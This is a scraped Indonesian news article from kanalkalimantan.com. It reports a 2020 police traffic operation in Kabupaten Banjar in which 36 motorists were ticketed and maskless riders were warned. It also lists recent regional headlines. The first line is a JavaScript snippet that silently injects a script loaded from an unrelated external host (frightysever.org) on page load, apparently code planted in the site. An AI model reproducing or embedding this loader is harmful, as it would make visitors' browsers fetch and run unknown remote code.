(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Banjar

Sebanyak 36 Pengendara Kena Tilang Saat Operasi Zebra di Kabupaten Banjar


KANALKALIMANTAN.COM, MARTAPURA – Kepolisian Resor Banjar Kalimantan Selatan, Satuan Lalu Lintas (Satlantas) melaksanakan Operasi Zebra Intan, Rabu (28/10/2020) bertempat di Km 39 atau tepatnya di Pos Lantas Polres Banjar.

Kapolres Banjar AKBP Andri Koko Prabowo melalui Kasat Lantas Polres Banjar AKP Faizal Rahman mengatakan, Operasi Zebra Intan 2020 ini dilakukan selama 14 hari. Dimulai dari tanggal 26 Oktober sampai dengan 8 November 2020.

“Ada delapan pelanggaran prioritas, tidak menggunakan helm SNI, berboncengan tiga, knalpot racing, tidak gunakan safety belt, melawan arus, menggunakan HP saat berkendara, kelebihan muatan, dan over dinamis” kata AKP Faizal Rahman.

Ia juga mengatakan, dalam Operasi Zebra kali ini, mengedepankan tindakan preemtif dan preventif selama operasi menyesuaikan kondisi saat ini yang tengah dilanda pandemi Covid-19.

Giat operasi kali ini yaitu patuh dalam berlalu lintas dan menerapkan protokol kesehatan guna memutus rantai Covid-19 khususnya di Kabupaten Banjar.

Lebih jauh ia juga menjelaskan, Operasi Zebra Intan hari ini, ada sebanyak 36 orang yang terjaring razia. Adapun langkah penindakan atau refresif dilakukan secara selektif prioritas yang dikenakan kepada para pengendara roda dua maupun roda empat jika melakukan pelanggaran secara kasat mata.

“Kita melakukan tindakan penilangan yang kita lihat secara kasat mata, seperti tidak memakai helm, tidak memakai spion, melawan arah, pelat sepeda motor pajak mati, serta pelat sepeda motor yang dimodifikasi, dan untuk pengendara yang tidak memakai masker, akan kami beri teguran,” papar AKP Faizal.

Adapun dalam operasi kali ini berlangsung sekitar 30 menit, karena tidak ingin menimbulkan kerumunan maka razia tersebut langsung dihentikan.

“Setelah 30 menit berjalan dan sudah ada 36 pengendara yang terjaring razia, karena kita tidak mau ada penumpukan, maka kita stop langsung operasinya,” ungkapnya.

Petugas kepolisian tetap melaksanakan razia dengan sistem hunting, apabila terjadi pelanggaran lalu lintas secara kasat mata, petugas akan mengenakan tilang, namun jika hanya tidak pakai masker maka pengendara akan diingatkan untuk memakai masker.

Ia juga mengimbau, kepada seluruh masyarakat agar tertib berlalu lintas, serta wajib memakai masker saat berada diluar rumah. (kanalkalimantan.com/wahyu)

Reporter : Wahyu
Editor : Cell

Al Ghifari

Recent Posts

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

2 jam ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

3 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

3 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

3 jam ago

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

4 jam ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

7 jam ago

This website uses cookies.